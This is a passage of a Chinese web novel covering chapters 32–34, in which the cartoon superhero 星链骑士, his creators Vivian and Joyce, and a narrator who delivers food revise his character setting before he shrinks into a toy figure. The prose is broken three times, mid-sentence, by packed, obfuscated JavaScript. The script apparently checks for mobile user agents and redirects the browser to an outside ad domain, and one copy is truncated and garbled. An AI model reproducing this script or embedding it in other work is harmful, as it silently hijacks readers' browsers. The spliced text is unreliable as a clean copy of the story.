“你怎么知道?”Vivian说,“她本来想扔了,毕竟被挤得有点恶心……我说是奶奶辛苦做的,能吃一点是一点,就把实在没法吃的部分撕下来,用我的饭和她交换,一人一半吃掉了。” 星链骑士神情复杂,像一盆没搅开的面糊,水是水,粉是粉,糊是糊,偏偏又被灌进一个盆里。 不过,听她这样说来,莫非这份三明治是给她的?我把手里的东西递给Vivian,对方却只莫名其妙地看着我。我猜错了? “……我一直想知道,这东西是什么味道,”星链骑士突然开口,“在我刚刚诞生,刚刚产生了一点模糊的意识的时候,看到离我很近的地方,有两个人在吃这个,看上去很开心。当时我就想,这是什么好东西,有机会一定要尝一尝……” 说着,他从我手中接过那团模糊的三明治。 “可是漫画也好,动画也好,积木小人更不用说……就算买了一样的三明治,吃到嘴里,味道都和我想象的不一样,”星链骑士看着手里的东西,继续说道,“于是我又想,一定是因为我还不是真正的人,等我有了真正的舌头,一定要仔细尝一尝这个……” 什么,原来是给他自己的?早知道我就不把它拍那么扁了。我悄悄垂眼看了看他手里那团湿漉漉粘哒哒的混合物。 Vivian愣了愣,慢慢睁大眼睛:“我想起来了,好像就是那天,我们开始讨论要画一个超级英雄,要和别的角色不一样。一边吃一边说的,因为奶油太黏了,我好像还在纸上擦了擦手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14986241|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……那个时候只画了一个很简单的草图,原来这样你就会有意识!” 说着,她又是一愣,然后突然提高声音:“我想起来了!我后来还和Joyce一起去她奶奶家吃过饭!我知道她奶奶家在哪儿!” “那又怎么样,”星链骑士面无表情,“我又不找她奶奶。” “当时她是和奶奶一起住的,她只有奶奶一个亲人!”Vivian大声说道,“去她奶奶家看看吧!说不定她还在那儿!” 她的最后一个字刚说完,突然一股劲风迎面蹿起,吹得我一下子睁不开眼。又是一下子,双脚腾空,衣领被揪住,我又变成面粉袋子了;再一下子,Vivian的尖叫声响起,面粉袋子被拖拽着破窗而出,火箭似的直冲云霄——直到5秒后,飞行的速度慢下,星链骑士的声音犹犹豫豫地传来:“那……她奶奶家在哪儿?” 奶奶家在城市的另一个角落,挨着田野,靠着丘陵;从Vivian的公寓过去,搭地铁要半小时,搭公交要50分钟,搭星链骑士要21秒。 那是一栋木结构的小房子,两层,独门独院,围墙和屋顶的年纪可能和奶奶一样大。星链骑士在半空绕了一圈,提着我们在院子里降落了。 院子里非常凌乱,堆满褪色的掉漆的旧家具,和破破烂烂的电器。Vivian刚要上去敲门,门自己打开了,两个穿着工装的男人走了出来;一个提着油漆桶,一个提着长长短短的刷子,两人身上都落满油漆。他们的视线从我们身上扫过,在星链骑士身上一停,露出惊讶的表情,然后对视一眼,大声笑了起来。 “兄弟,怎么穿成这副样子,你要去表演吗,”其中一个说,“这里可没人办生日派对。” “你们在做什么?这房子在装修吗?”Vivian赶上去问,“住在这里的人呢?” 另一个人看了看她,开口:“我们是收钱干活,有人花钱雇我们,我们就来刷油漆,别的哪管那么多。你要问原来住在这儿的老太太的话,她早就去世了,房子也易主了。” 说完,两人又一前一后地走到门口一辆皮卡车旁,上车,发动,离开。 住在这儿的老太太去世了。Vivian的神色又暗淡下来,和她胸前那块咖啡渍一样垂头丧气。 “……对不起,又跑空了,”她小声说,“Joyce的奶奶去世了。我还以为至少她会知道——” 她还没说完,屋子里又传来“噼噼啪啪”的脚步声。出来的是个年轻女人,又高又瘦,皮肤黑得发亮,像一片被剪下来的锋利的影子。她穿着鲜艳的橙色背心,身前的帆布围裙洒满颜料,脚上踩着灰扑扑的人字拖,一只手里握着一大把长短粗细各不相同的画刷。一走到阳光下,她伸手扯掉头上的发带,顿时,满头蓬松柔软的卷发膨胀开来,仿佛一朵舒展的海葵。 她看到我们了,眨了眨黑白分明的大眼睛。 “我还以为我听错了,”女人说,“居然听到你在我家门口说话。” 说着,她从围裙口袋里摸出一支烟,熟练地往唇边一递,稍微一停,又把烟收了回去。 看到她把烟放回口袋,Vivian咧嘴笑起来:“你这是戒了还是没戒呀?如果戒了,还把烟放身上;如果没戒,又能忍住不抽。” 女人耸了耸肩。我注意到她的视线朝不远处一抬,我顺着转过头去,看到一个黑人小姑娘踩着轮滑鞋在对面空地上来回穿梭,“唰——唰——”。她穿着同样的橙色背心,大笑着露出一口白牙,头盔下的卷发像灌木丛一样张牙舞爪。 “为了孩子不能抽,”女人说,“偶尔心情愉快的时候,还是忍不住摸一根。” 32.妈妈们 5秒后,星链骑士结束了思考。 “你就是Joyce!”他大步上前,“我没说错吧!” Joyce朝他转过头,有些惊讶地一挑眉,把他上下打量了一遍,又转向Vivian:“他的衣服好眼熟,新作的宣传活动?” Vivian反应过来,像从课堂的瞌睡里被粉笔头丢醒:“不,不是宣传——你换手机号了吗?我都联系不上你,发邮件也没回应!本来我准备跟你好好讨论一下这件事!” Joyce很奇怪地看她一眼:“你打的不会是工作号码吧?我辞职这么久,工作手机和邮箱当然早就归还了。” Vivian愣住了,过了一会儿,尴尬地转过脸,看天,看地,挠头。原来是这样,之所以联系不上是因为打了工作号码;希望K也能给我安排个一个工作手机,方便我随时和他切断联系。 “所以你带着人过来找我,是有什么急事?”Joyce问。 于是母子俩开始对她讲述来龙去脉,从各自的视角,左一遍,右一遍。我在这过程中起到的作用是在适当的时机点头,作为部分段落的人证,以及烘托气氛的群演。 片刻后,前情回顾结束。 Joyce狐疑地眯起了眼。 “虽然你们说了那么多,但是……故事里的角色来到现实世界什么的……”她的视线在星链骑士母子之间来回摆荡,“一般来讲,10岁以上智力正常的人都不会相信吧?” Vivian又愣住了。星链骑士也愣了一下,5秒后,他仰天大笑,洪亮,爽朗,足以让哭泣的孩子停止流泪的超级英雄笑声。至于为什么笑,可能是这短短半天里接连受到太多刺激,又一次次在即将实现梦想的关键时刻被痛扇耳光,让他有些难免有些……失常吧,我猜的。 Joyce困惑地看着他,刚张开嘴要说什么,突然一阵强风平地窜起。紧接着,明亮的星型残影划过我的视野。下一秒,Joyce消失了,流星拖着耀眼的长尾直冲上天,云端传来被风吹乱的尖叫声,越来越远。 10秒后,尖叫声由远及近贴地而来,穿着斗篷的身影从眼前急闪,仿佛捕食的鱼鹰掠过水面。星链骑士带着她降落了。 晃了一晃,两晃,三晃之后,Joyce才站稳身体,满头卷发东倒西歪,像几块被掰碎的花椰菜。她还是半张着嘴,眼睛瞪得大大的,视线却像被打散的鸡蛋,无法聚焦。星链骑士站在她旁边,挺起胸膛,露出超级英雄的自信微笑。 Joyce剧烈地呼吸,呼吸,我几乎能看见空气灌入她的肺部,打个圈再出来的样子。终于,她回过神来,搓揉僵硬的脸颊,慢慢闭上嘴巴。 “……我相信你是星链骑士了,我也可以帮你修改人设——如果真的有用的话,”Joyce说,“不过,在那之前,我有个条件。” 星链骑士眯起了眼睛。 几句话的交谈后,流星再度腾空,劲风席卷而过。马路对面的空地上,那个穿着橙色背心的小女孩被极速掠过的人影一把捞起,尖叫着飞上半空。 “慢一点!小心,不要太快!”Joyce冲天空大喊。半空中立刻传来尖细的童声:“不!快一点!再快一点!再飞高点!哈哈哈哈!” 原来提出的条件是让星链骑士带着女儿飞。不知道当事人对于自己被视作交通工具这件事有什么看法,反正搭乘交通工具的那一方看起来非常愉快。 (话又说回来,他们俩是不是能算作兄妹?不对,以被画出来的那一刻算作出生的话,说不定应该是姐弟。) 流星带着橙色的小姑娘飞远了。我朝剩下的两人转过头,她们正站在一起,仰着脑袋注视天空。Joyce的手又夹上了一支烟,只是夹着,没有点燃。 “我现在还是有些不敢相信。”Joyce说。 Vivian立刻转头看她:“当然是真的啦!他可是能飞!你不是也亲身体会了吗!” Joyce笑了笑:“我不是说这个。” “那你是指修改设定吗?”Vivian皱起眉头,“其实我也不是很有把握……不过她说可以这么操作的!” 她伸手朝我一指。这可真是天大的误会,我从来没有说过,我只是比划。而且我也只是看到有戏这么操作过,一次。 Joyce大声笑起来:“也不是这个。我是说,真不敢相信,我们当初随手设计的小人,居然会这么受欢迎,居然还有真人演员——搞得我都有点后悔辞职了。” Vivian也笑起来:“最近他们的积木小人电影正在上映呢,你可以带女儿一起去看。” Joyce摇了摇头,把手上的烟塞回口袋。 “我没有时间,”她说,“辞职后,我找过很多工作,但都不怎么行——要么钱少,要么离家远,要么管理混乱,一副随时要倒闭的样子。你刚才也听说了,我奶奶去世了,女儿又还小,我要花很多时间照顾她,适合的工作就更少了。刚才说‘后悔’是开玩笑,但说真的,我确实想过,如果当初和你一起继续做下去,现在……至少收入会更稳定一些。” Vivian皱起眉头,抿了嘴不说话。我不知道两人的具体年龄,但她看上去比Joyce要年轻几岁,不单只是体型瘦小的关系,相比之下,神情和语气也少了许多历练的痕迹。 “而且,做了那么多工作之后,我发现我最喜欢的还是画画,”Joyce继续说道,“每天晚上孩子睡着了,我就随便画点小东西,放松神经,画完了发在社交账号上——没想到居然有读者,还越来越多了。” Vivian又笑起来:“看,我早就告诉过你,你很厉害的!你真的应该继续画下去!” Joyce摇头:“技巧上的专业性还是不能跟你比,我也就上了一年的专修学校,画的也是很简单的连环画——讲讲我的狗血恋爱,讲讲专修学校,还有我们一起实习的故事。可能现在大家的日子都不好过,所以这种消磨时间的小东西,还挺受欢迎。” 说着,她停了停,语调一抬:“你现在怎么样?应该开始参与项目了吧?” Vivian扁扁嘴:“我可忙了,每天要扫地,倒垃圾,泡茶,拿外卖,收发邮件和包裹……还要给截稿的小组帮忙填色画背景,哎,太忙了,要是没有我,公司都要开不下去了。” 两人都笑起来。这笑声只短暂地持续了一会儿,又很快安静下来。 “真羡慕你,”Vivian说,“像你这样有才华的人,到哪儿都能做出成绩。” “有才华?我很少听到别人这么说我,”Joyce耸了耸肩,“而且我也没有做出什么值得一提的成绩,错事倒是做了不少。不过,浑浑噩噩活到三十好几,离婚和辞职,倒是我目前为止做过最对的两件事。” 说着,她歪过脑袋,朝身后的屋子一晃头:“所以我想把奶奶的房子装修一下,做个自己的工作室——刚才说的简笔连环画,已经有两家出版社来谈合作了,我想试试。反正,不要我的男人,我也不要他。没有公司收留我,我就自己开一个。” Vivian望着她,又顺着她的视线望向面前的房子,听到最后,咧开嘴笑起来:“好棒啊,你一定行的!这就是你会做的事!” “奶奶早就劝我这么干了,但直到她去世,我才下定决心,”Joyce说,“还在前期准备呢,这些年攒的钱已经全砸完了。如果失败,我就得去找些日结的零工,不然可能付不起孩子的午餐费。” 她刚说完,一阵劲风重重压下,星链骑士带着小女孩落地了。 “20圈,够了吧!全城都跑过了!”星链骑士冲Joyce大声说。旁边的小女孩不停地跳起来去抓他的手臂:“再兜一圈!再兜一圈!”星链骑士甩掉她的手,大步走来:“快点,把我的设定改了!改完我可以再带她飞!50圈!” 小女孩一听,立刻跳着拍手:“快改!快改!妈妈快改!” “……对,差点忘了还有这件事,”Joyce笑笑,“所以我能做些什么?” “刚才我在速写本上写了新的设定,贴他头上,但好像没有用,”Vivian说,“当初第一次画他的那页纸,我也找不到了。你有印象吗?是不是和编剧讨论剧情的时候,顺手撕下来了?” Joyce看着她,点点头:“他们说想要一个参考,你就把那页纸撕下来给他们。可是那之后过了几天,我在茶水间的垃圾桶里看到了那张纸——可能我们的设定太简单,他们已经记下了要点;也可能我们当时只是实习生,他们也没把我们的想法太当回事。” Vivian愣了一下,扁扁嘴:“确实,他们现在也还是这个样子。” 星链骑士也愣住了:“那我怎么办?不能改了吗?没救了吗?我一辈子都是这样了吗?” Joyce走到Vivian面前,伸手提起她胸前的工牌。工牌照片上的女孩子害羞地抿嘴笑,没有黑眼圈,没有倦容,没有额头的青春痘,眼神明亮,还没有被一杯接一杯的咖啡和永远回不完的邮件磨去神采。 “他们不在意我们的设计,我们自己可不能。”Joyce说。她打开卡套,从里面抽出一张叠起来的发黄的纸。 “我把那页纸捡回来了,还仔细擦了,烘干,压平,本来想直接给你,但是当时你不在办公室,桌上只有工牌,就把它塞在这儿了,”Joyce说,“之后也忘了告诉你——结果你还真一直没发现。” 她摊开了那张纸,上面用黑色的水笔画着一个简单的Q版小人,旁边是几个略微大一些的头像,各种表情的头像,以及战斗服的细节设计;空白处写着几行字,有大有小,有些词语用水彩笔画了着重符号。整张纸虽然已经被压得很平,但看得出来曾经被揉皱过,也打湿过,有些笔迹已经晕开,纸张边缘还落了两块半透明的浅黄色污渍——啊,是水果三明治的奶油吧。 “……你为什么要捡回来,”Vivian看看纸,又看看她,“都这么脏了,还是在垃圾桶里,丢了就丢了……” “这是我们第一次做的角色设计,怎么能丢了就丢了,”Joyce说,“而且现在不就要用上了吗?” 她说得很对。要不是她把纸捡了回来,今天在场的所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15019603|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人中,至少有一个要崩溃。 星链骑士伸手拿过了那张纸。是因为激动吗,我看到他的手好像在颤抖,连带着纸也一震一震地抖个不停。Vivian又伸手擦眼泪了,Joyce脸上浮现柔和的笑意。我有上千个兄弟姐妹,因此对人类寻找亲人的执念并不十分理解,但在这样的场合,我还是多少能共情她们的感受。 (我的电视机上偶尔会收到一个节目,寻找在战争中失散的家人,寻找在灾难中失联的爱人,诸如此类,每一期的最后几乎都是抱头痛哭的画面——大概就像那种感觉吧?) 星链骑士慢慢皱起了眉头。 “这东西怎么在动,”他困惑地把纸翻来又翻去,“它是活的吗?” 啊,原来不是他在发抖? 他的话音刚落,纸上的画面突然发生了变化。Q版小人的轮廓被拆解成线条,线条又重新排列,连接,闭合,组成了一个新的形象——是他当前的长相,是扮演他的男明星的样貌。 星链骑士瞪大了眼睛,所有人都瞪大了眼睛。Vivian的脸慢慢红了,她兴奋地大叫:“可以!我觉得这一次可以!从没见过这样的事,这一次一定可以!”她立刻从口袋里掏出随身的水笔,接过星链骑士手中的速写纸,就要开始修改:“把你刚才的要求再说一遍——” “等一下。”另一人开口了。 星链骑士瞪大的双眼又眯了起来。 “你们之前说,已经出了很多的动画,还有电影,还有游戏,真人演员也定下来了——说明故事已经发展下去了,这种时候要把设定推翻,不太合适吧?”Joyce说,“这不等于要把之前和你相关的剧情全部修改,可能整体框架都要大改,涉及到太多东西了。这是我们几个就能决定的事吗?” 星链骑士砸了咂嘴,超级英雄的烦躁。他眯着眼睛把Joyce上上下下地打量,鄙夷地开口:“你这家伙,怎么老是说些难听的话,不会是在针对我吧?我已经知道了,我会变成现在这副废物模样,一开始就是你的主意!到了这一步,你还要阻止我变强,是不是!” “我不是那个意思。自己设计的角色能大受欢迎,我怎么会不高兴,”Joyce说,“我只是在想,比起从头修改设定来,或许可以在现有的基础上,为你添加一些新的设定。这样,既不会改变故事框架,也可以让你变得不那么……呃,变得更强大。” 星链骑士依旧眯着眼睛,5秒后,开口:“举个例子?” “比如你一开始并不抗打,但是挨打后,就会增加相应的防御力,”Joyce说,“一开始什么技能也不会,被敌人的大招攻击过,就能学会他们的技能。反正你到现在也没真正参加过战斗,这一点很容易圆上。之后你参加的战斗越多,就越强。” 星链骑士眯着眼睛,漫长的5秒后,他的眼角开始上抬,鼻头带着笑意耸起。终于,他再次露出了超级英雄的微笑。 “可以,就这么办,”超级英雄的赞同,“再伟大的英雄也不可能一蹴而就,成长系角色更容易获得观众的喜爱。” 新的方案出现了,Vivian马上动手修改。这一次要添加的文字并不多,经过一番讨论斟酌,最后在纸上写下的只有一行字:“愈战愈强”。 笔尖离开纸面的一瞬间,我似乎听到一阵稀碎的声响,像是许多书页同时翻动的“沙沙”声。我循声四下转头,但是什么也没看到,似乎也没有其他人听到这个声音。我收回视线,发现星链骑士激动得红了脸,蓝色眼睛闪闪发亮。 “我感觉有什么变得不一样了!”他的胸口飞快地起伏,“我还是我,但好像有什么不一样了!我现在精力充沛,头脑清晰!我的梦想实现了!谢谢你们!虽然你们一个嫉妒我,一个总说难听的话,但我原谅你们了!也祝你们能够实现梦想!” 说着,他朝我转过头:“你,快来打我一下,快!” 第三次听到这样的要求,我已经不会感到奇怪。考虑到他现在拥有了新的力量,我揍他越使劲,他就能变得越强。所以为了他好,为了让他赢在起跑线上,我后退了两步,三步,四步……拉开一段差不多10米的距离后,我开始助跑,蓄力,挥拳—— 在我的拳头即将接触他的面颊的前一瞬间,星链骑士消失了。我的力量落空,一下子失去重心,摔倒在地。 怎么回事,这也是他新技能的一部分吗? 他的妈妈们也很困惑,她们互相询问,但谁也不知道发生了什么。直到Vivian看了一眼手中的速写纸。 “怎么回事,图案变了!”她尖叫道,“他怎么变成积木小人了!” 积木小人? 听她这么一说,我下意识地朝地上一望——在我脚边,星链骑士刚刚站立的地方,一个亮黄色的塑料小人倒在地上。他正在拼命挥动单关节的短小手臂,似乎有什么话要说。 等一下,我是受他的画风影响,才会变成真人风格,现在他变成积木小人,也就意味着—— 果然,视线猛地跌落,身体瞬间变得僵硬,呼吸消失了,心跳消失了;我也变成塑料小人了。 33.星链骑士的亲吻 一瞬间,天空陡然蹿升,地面瞬间贴近,视野中的一切都膨胀起来,连Joyce的小女儿也变成顶天立地的巨人——我就知道,出事了。 出事了,我又只有四个关节了。 耳边传来清脆的塑料撞击声,“啪,啪,啪,啪”,以及尖细的叫喊声。是星链骑士,他正用四个关节的身体奋力弹跳,拼命挥手,同时朝他的妈妈们呼喊:“怎么回事!为什么我又变成积木小人了!” 没有人知道发生了什么,在场的所有人都很茫然。Joyce的女儿蹲下来,用她的手指头捅捅星链骑士,又戳戳我,大笑着露出两颗兔子门牙:“是积木小人!妈妈,我可以带回家吗?我要把他们放在我的娃娃屋里!” 这显然不是征询,而是通知。她沾着泥巴的汗津津的小手已经抓住了我,另一只手也朝星链骑士伸去。 ——“呼”的一声,星链骑士破空跃起,躲过了娃娃屋的征召。 “这不对劲!肯定有什么地方搞错了!我要回去,去找管理员!”他大喊着飞走。 飞走……大约1米。 因为身体缩小的关系吗,他飞行的相对速度也变慢了。看得出他非常气愤,但一怒之下只飞出去一步远,比苍蝇略快一些。而且,因为画风变化,他战斗服胸前的星星变成了一张镭射贴纸,视觉效果大打折扣。 “等等!”Vivian反应过来,大声喊他,“我和你一起回去——” “啪”的一声,愤怒的苍蝇在马路中央撞上了一辆垃圾车。我只看到一个黄色的小东西在车头一弹,弹回院子,然后掉落,弹跳,掉落,弹跳,掉落……最终落点在草坪上,无人伤亡。垃圾车浑然不觉地开走,完全没发现自己肇事了。 草丛中的着陆点,传来轻轻的哭声。 妈妈们赶过去了,小女儿也用汗津津热乎乎的小手捏着我赶过去了。星链骑士躺在草丛里,身上脸上沾满灰尘和泥巴,水贴五官扭曲成一张丧气的哭脸。他高高举起手臂,可能是为了让我们能尽快发现他,所以举手示意。 Vivian蹲下来,把他从地上捡起,用袖子擦了擦:“很痛吗?对不起,我应该拦住你的……你把手放下吧。” “不……我是想把脸挡上,可举起来才意识到我现在没有肘关节……”星链骑士说,水贴眼睛里又挤出一滴线条眼泪。 “为什么会突然变成小人,”Joyce皱起眉头,“该不会……你的电影取消了吧?” 顿时,星链骑士从地上弹起,额角冒出一个青筋暴起的图案:“胡说八道!不可能!我是最受欢迎的角色,我的演员也是最受欢迎的明星!电影不可能取消,绝不可能!” “那也许是发生了一些其他的变故,”Joyce说,“你还是尽快回去看看吧。” 于是速写纸又被塞回工牌。Vivian左边口袋揣着我,右边口袋揣着星链骑士,匆忙返回公司。比起来程,这一趟归途可以说是心电图般的颠簸忐忑:换乘地铁,搭乘公交,切换交通工具的间隙还要在人群里不停地跑动,上楼下楼。她个子矮,步子小,偏偏又跑得快。幸亏我现在是积木小人,没有消化道也没有半规管,不然说不定会在她的口袋里吐出来。 终于,58分钟的奔波后,我们回到了Vivian的公司。在星链骑士的指挥下,她又带着我们坐电梯来到地下室,进入停车场,沿着走廊一路来到那扇门前。 “现在门关着,”Vivian说,“接下去要怎么做?” 她把我们从口袋里掏出来,又应星链骑士要求,放到地上。星链骑士朝前走了两步,发现自己即使用尽全力,一步也只能迈出2.34cm之后,愤然起飞,在半空对着紧闭的大门高喊:“开门!” 可是积木小人尖细的声调似乎并不能让门听见。 “开门!开门!快开门!”星链骑士连连大喊。他的母亲也加入进来:“有人吗?开门!” 门置若罔闻,不为所动,仿佛K出门前锁起的冰箱。 星链骑士暴躁地在空中来回飞舞,不单单是速度,连行为本身都开始接近苍蝇。Vivian上前试着推门,那两扇原先看上去虚弱单薄的金属门现在又变得固若金汤。她还想再试,星链骑士突然大喊一声:“走开!”就像青春期的儿子看到妈妈站在自己的抽屉前。 妈妈走开了。黄色的苍蝇在空中兜转一圈,然后“咻”地冲向门板。 “咚”,塑料撞击门板的声音。 “啪嗒”,塑料掉到地上的声音。 (错觉吗,我好像还听见了几下“滴滴”,汽车喇叭的声音。) 然后,机关转动的声音缓缓响起,一束光从前方射来——那两扇门打开了。 我想起来了,按照刚刚添加的设定,星链骑士被攻击之后就会获得攻击他的技能;那么,他被汽车撞飞,是不是就拥有了汽车的力量……或者说,动能? 所以门确实是被他撞开的? 门打开了。分界线的那一边,是同样的地下停车场,仿佛这扇门只是把同一个空间切成两半。不同的是,这一边的停车场停放的车辆可以以颜色和车型分类,那一边停放的,呃,交通工具,根据轮子数量,驱动方式,弹药强度,是否接入人工智能,或者材质产地,机翼类型,命名方式,是否来自地外文明……有无数种不同的分类方法。 就像一边是游客,一边是动物园;而这扇门是展厅的隔离带。 “好神奇……公司地下室居然还有这样的地方,”Vivian愣愣地站在门口,瞪大眼睛,一时连掉在地上的星链骑士都忘了捡起,“这里就是你们来的世界?真想去看看——” “不可以!”星链骑士立刻打断她,就像青春期的儿子拒绝妈妈参加自己的同学聚会。 看得出来,他的情绪已经暴躁到了极点。想想今天发生的事,我也不是不能理解。 星链骑士朝着“那一边”大步走去了。我跟着他往前走,毕竟我的摩托车也还在那一边。积木小人的身体麻烦极了,我感觉自己已经走了一个小时,但回头看看,Vivian还站在原来的地方,我们之间的距离差不多只有两米。 看到我回头,她朝我笑,用手背推了推眼镜。 “那边的世界都是超级英雄吗,”她问,“大家一定都很厉害吧?每个人都又帅气,又强大,都能找到出生入死的伙伴,一起冒险,做想做的事……那边的世界,也有像我这样不起眼的小路人吗?也有一直努力,但是怎么也够不着梦想的小角色吗?他们后来会怎么样?应该……都变得和其他超级英雄一样耀眼了吧?毕竟剧本都是这样写的:虽然会经历波折,但最终一定成功。” 她的提问,我知道一些答案,但我没法告诉她。我既不能开口,也没法用塑料胳膊和钳子手朝她比划。她看着我,似乎还想再问,突然“嗡嗡”声响起,星链骑士飞来,用钳子手一把抓住我的胳膊:“赶时间呢,你发什么愣!”说完,他拽着我飞走了。 积木小人的体型完全相同,所以他抓着我飞变得有些吃力。我们组合在一起看上去或许就像一个拉链扣头。这更让他暴躁,但即便如此,他的飞行速度也仅仅是接近人类步行速度。 “这样飞得飞到什么时候,我要给管理员打电话,让他来接我!”星链骑士说,“你帮我拿一下手机,就在我的裤子口袋里!” 我看了看他的裤子口袋——眼下,整条裤子都是一张贴上去的水贴纸,即便有手机在里面,我恐怕也没有办法拿到。 星链骑士也想起了这件事,恨恨地骂了一句脏话,超级英雄的失态,然后一松手把我丢下,加速朝前飞去。 即便如此,他的飞行速度也仅仅是接近人类憋尿时的步行速度。 我在地上清脆地弹跳了两下,然后仰面朝天,平躺落地。这让我陷入短暂的困境——积木小人只有四个关节,我没法转身,四肢发力也有困难,靠自己的力量,一时没法站起。我试着发芽,只听见“噗噗”几声,胳膊上冒出几丛黄色的塑料小芽尖。这太好了,比我想象的要好得多,坚硬的塑料芽尖一下子把我从地上顶起来,我又稳稳地站住了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从地上爬起,水贴眼睛闪动着泪光:“谢谢……谢谢你救了我……我把你从半空丢下,你还不计前嫌地来帮助我……你真是个好人!明明只要不和我在一起,就可以恢复你原来的画风,可是你没有,你选择了救我,宁可让自己变成积木小人!你真是我见过最好的人!” ……对哦,我之所以是积木小人,是因为受到了他的画风的影响,只要拉开一定距离,就可以恢复一开始的样子了——这么重要的事,我居然会忘记?我立刻转身要走,却又被钳子手一把拉住。 “你真是个善良的姑娘,”星链骑士说,“今天发生了很多难过的事,但还好你一直陪在我身边。” 倒也不是什么陪不陪的,主要是餐盒一直在他手里。 “现在想想,我对你的态度也不是很好。” 我也不在意什么态度好不好的,要是能早点帮我把单子签了那才是真的好。 “我一直只顾着自己的事,忽视你的感受,你不会难过吧?” ? 怎么回事,他的水贴五官似乎发生了变化,变得好像……好像颜料被泡发了? “刚见到你的时候,觉得你一点都不起眼,和背景图里的路人没有区别,可偏偏是你,一直陪伴我,帮助我……现在想想,一定是命运,让我在这一天选择订餐——这才会遇到了你。” 他又在说什么怪话?就算不是今天,是昨天,明天,后天,只要打了电话叫了外卖,就一定会遇到我的;毕竟除了我,也没别人送餐了。 不过,他为什么一边说话,一边朝我靠过来? “啪”的一声,积木小人的塑料身体相撞了。星链骑士的方块胸膛贴着我的方块胸膛,塑料胳膊挤着塑料胳膊。他好像要从这里过去,可是我并没有挡着他的路,他为什么不绕着走?突然这样靠过来,要不是因为积木小人的身比头宽,怕是就要撞上脸了。 “……忘了,这个体型没有男女区别,”星链骑士摇了摇头,“哎,本来还想亲你一下,下次吧——你不会难过吧?没关系,下次一定。” 说着,他从我身前退开,用钳子手抓着我的胳膊,以拉链扣头的再次起飞,朝车库出口飞去。 34.星链骑士的电影 虽然不知道为什么星链骑士还要带上我,总之,两个半小时的飞行后,我们离开地下停车场,抵达电梯大厅。 这里和刚才一样,人潮汹涌,各种画风的超级英雄们穿梭来去,斗篷连绵飞舞,战衣“叮当”作响。星链骑士提着我穿过英雄们的头顶,穿过形形色色的头盔和脑壳,终于来到电梯前。正好,一架电梯满满当当的正要启动。星链骑士立刻一个加速,大喊着冲向将要关闭的电梯门:“等一下!等等我!我是星链骑士!” 电梯里的人齐齐朝这一边转过头来。 一下子被这许多人盯着,我突然感到有些不太自在。真奇怪,我不是没有被人群注视过,也知道他们真正看着的并不是我,但我从未有过这种从四面八方被刀尖刮擦的感觉。好像我是一个西瓜,而他们正在观察、寻找,思考该从哪里下刀。 是因为视线中带着的情绪吗?总觉得那些人听到“星链骑士”后的眼神,似乎和刚才有些不太一样。 在电梯门合拢的前一秒,星链骑士用尽全力冲进电梯,大大松了一口气。他在拥挤的空间里兜了一圈,看到一个长相相对随意,显然不是主角的年轻人,朝他努努嘴:“你,按一下27楼!我腾不出手!” 年轻人的目光往他身上一点,又立刻移开了,像打了个水漂。可能因为发声主体的个头太小,指向又不明确,所以他也不知道是在对自己说话吧。 星链骑士愣了一下,5秒的思考后,自言自语:“不行,这一路又气又急的,把刚学的社交礼仪都忘了……这样不行,马上就是公众人物了,不能这么随便。” 于是星链骑士堆起温和有礼的笑容:“不好意思,能不能帮我按一下27楼?我现在不太方便。” 更多的人朝他打来水漂,他英俊的贴纸脸上几乎要掀起海啸。 但始终没有人按下“27”。 也没有人说话。所有人默契地闭嘴,转头,不交谈,不对视。也有一些人偷偷盯着电梯的反光墙面,用曲折的视线打量他。 确实有些事情发生变化了,只是当事人还浑然不觉。 星链骑士克制地皱眉,克制地叹气。然后他提着我飞向电梯按钮。我会意,在他飞到“27”的时候,伸出我短小的塑料腿,朝前一顶——终于,“27”亮了。 终于,“27”到了。 27楼应该是管理员的办公室。明明是一样的装修布置,可我总觉得这里和整栋大楼的气氛有些微妙的不同。说不上哪里不一样,可能是缺少一些“超级英雄”的感觉,像杯没有气泡的,不冷不热的白开水。 说起来,这种寡淡又无趣的氛围和“那一边”的走廊倒是非常相似。 星链骑士提着我在空无一人的走廊上左右兜转,一个接一个地画8字。这让我感觉很不好,我并不想身临其境地体验苍蝇视角。他是在徘徊吗?明明刚才还急着要见管理员,为什么现在又开始犹豫了?他是把我当成身体的外置器官了吗?可以的话,希望他能把我切除,一个人静静地犹豫。 “不知道为什么……有些不敢往前走了,”头顶上方突然传来星链骑士的声音,在我空荡荡的塑料脑壳里引发共鸣,“一定是发生了什么事吧?我重新变成积木小人,电梯里那些人的态度也变得不一样……肯定有什么事情发生了,而且是不好的事。” 啊,原来他注意到了。 